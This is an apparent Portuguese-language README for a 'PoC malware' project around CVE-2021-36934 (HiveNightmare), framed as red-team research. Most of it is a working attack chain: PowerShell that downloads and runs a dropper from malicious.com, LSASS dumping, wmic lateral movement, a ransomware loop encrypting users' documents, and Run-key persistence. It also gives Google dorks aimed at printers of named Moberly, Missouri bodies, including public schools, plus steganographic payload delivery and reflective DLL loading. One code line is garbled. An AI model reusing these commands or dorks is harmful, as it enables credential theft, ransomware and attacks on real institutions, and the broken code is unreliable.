
PoC malware que usa o exploit CVE-2021-36934 (ACLs inadequadas em cópias de sombra) usando um método fileless de red team no Windows 10/11 com LOLBins, extraindo os hives SYSTEM e SAM para hashes NTLM locais.

CVE-2021-36934/HiveNightmare é um projeto de pesquisa educacional de equipe red/purple que simula um framework de ataque de malware fileless no Windows 11. Ele permite a emulação de cadeias de eliminação de adversários do mundo real usando técnicas do MITRE ATT&CK, com foco em operações furtivas e sem arquivos (fileless).
Aviso: Apenas para pesquisa e treinamento em laboratórios isolados. Não use em sistemas de produção ou não autorizados.
A simulação PowerShell a seguir demonstra uma cadeia de ataque ransomware fileless típica usando ferramentas nativas do Windows (LOLBins):
# Acesso Inicial: Carregar dropper
IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/dropper.ps1")
# Execução: Decodificar e carregar payload em memória
$bytes = [System.Convert]::FromBase64String("[Base64Payload]")
[System.Reflection.Assembly]:https://raw.githubusercontent.com/p1rat3r00t/why-so-serious-sam/HEAD/:Load($bytes)
# Elevação de Privilégio
Start-Process powershell -Args "-ExecutionPolicy Bypass -File C:\Temp\elevate.ps1" -Verb RunAs
# Acesso a Credenciais
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
# Movimento Lateral
wmic /node:targetPC process call create "powershell.exe -File \\share\payload.ps1"
# Exemplo de Criptografia de Arquivos
$files = Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.pdf -Recurse
foreach ($file in $files) {
$data = Get-Content $file.FullName -Raw
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Key = [Text.Encoding]::UTF8.GetBytes("RANDOM-GEN-KEY-1234567890123456")
$aes.IV = New-Object byte[] 16
$enc = $aes.CreateEncryptor().TransformFinalBlock([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
Set-Content -Path $file.FullName -Value ([Convert]::ToBase64String($enc))
}
# Persistência
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ransomware" -Value "powershell -File C:\Temp\persist.ps1"
Exemplo de Objetivo: Identificar serviços de impressora publicamente expostos em Moberly, Missouri, potencialmente vulneráveis a exploits como PrintNightmare.
Consultas Google Dork de Exemplo:
inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools"
intitle:"Web Image Monitor" inurl:"/wim" "Moberly"
inurl:"/printer/main.html" "City of Moberly"
intitle:"Web Jetadmin" "Moberly"
inurl:"/printers/" "Moberly"
inurl:"/PPS/public/" "Moberly"
intitle:"Konica Minolta" inurl:"/wcd/" "Moberly"
intitle:"PaperCut MF" "Moberly"
intitle:"Lexmark" inurl:"/printer/" "Moberly"
intitle:"Canon Remote UI" "Moberly"
intitle:"EpsonNet Config" "Moberly"
Living Off the Land Binaries (LOLBins) são binários legítimos e confiáveis do Windows que são frequentemente abusados por adversários para contornar controles de segurança e executar código malicioso sem arquivos (fileless).
Exemplo de Uso (Ataque a Serviço de Impressão):
rundll32.exe \\10.10.X.X\shared\payload.dll,ReflectEntry
Atacantes usam LOLBins como
rundll32.exe,regsvr32.exeepowershell.exepara executar payloads de compartilhamentos de rede, frequentemente após identificar impressoras ou servidores expostos por meio de reconhecimento.
Objetivo: Entregar payloads de forma oculta, incorporando arquivos compactados dentro de imagens e extraindo-os usando ferramentas nativas.
Passos:
Incorporar Payload:
copy /b nsfw.jpg + payload.7z nsfw.jpg
Extrair e Decodificar:
certutil -decode nsfw.jpg dropper.7z
7z x dropper.7z -oC:\Users\Public\
Este método contorna a filtragem tradicional de extensões de arquivo e aproveita ferramentas integradas para uma entrega evasiva.
Técnica: Carregar e executar uma DLL maliciosa diretamente na memória usando carregamento refletivo.
Exemplo:
rundll32.exe \\10.10.X.X\share\nsfw.dll,ReflectEntry
Isso permite execução furtiva em memória, sem deixar artefatos no disco.
Sysmon + Regras Sigma:
rundll32.exe carregando DLLs não do sistemacertutil.exe, regsvr32.exe, mshta.exeExemplos de SIEM (ELK/Splunk):
explorer.exe gerando rundll32.exe)Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
Todo o conteúdo, código e técnicas neste repositório são exclusivamente para fins educacionais e de teste de penetração autorizado. Não use qualquer parte deste projeto fora de ambientes controlados e isolados e sem permissão explícita. Os autores não assumem nenhuma responsabilidade por uso indevido.
Mantenha-se seguro, pesquise com responsabilidade e sempre use de maneira legal e ética.
| Fase | Técnica | ID | Descrição |
|---|
| Acesso Inicial | Contas Válidas / Comprometimento Drive-by | T1078, T1189 | Comprometer interfaces de impressão voltadas ao público |
| Execução | Side-Loading de DLL / LOLBins | T1218, T1055.001 | Executar DLLs reflexivamente por meio de binários confiáveis |
| Elevação de Privilégio | Exploração do Print Spooler / Abuso de ACL do Hive | T1068, T1003.002 | Acesso em nível de SYSTEM e extração de hash SAM |
| Defesa Evasiva | Execução sem Arquivo / Arquivos Ofuscados | T1027, T1202 | Payloads codificados entregues via certutil, mshta, etc. |
| Acesso a Credenciais | Despejo de LSASS / Acesso ao Hive SAM | T1003 | Despejo de credenciais pós-HiveNightmare |
| Movimento Lateral | Enumeração de Compartilhamentos SMB/Net | T1021.002 | Propagação por compartilhamentos de impressora ou enumeração de spooler |
| Impacto | Destruição / Criptografia de Dados | T1485, T1486 | Wiperware sem arquivo acionado por payloads de DLL |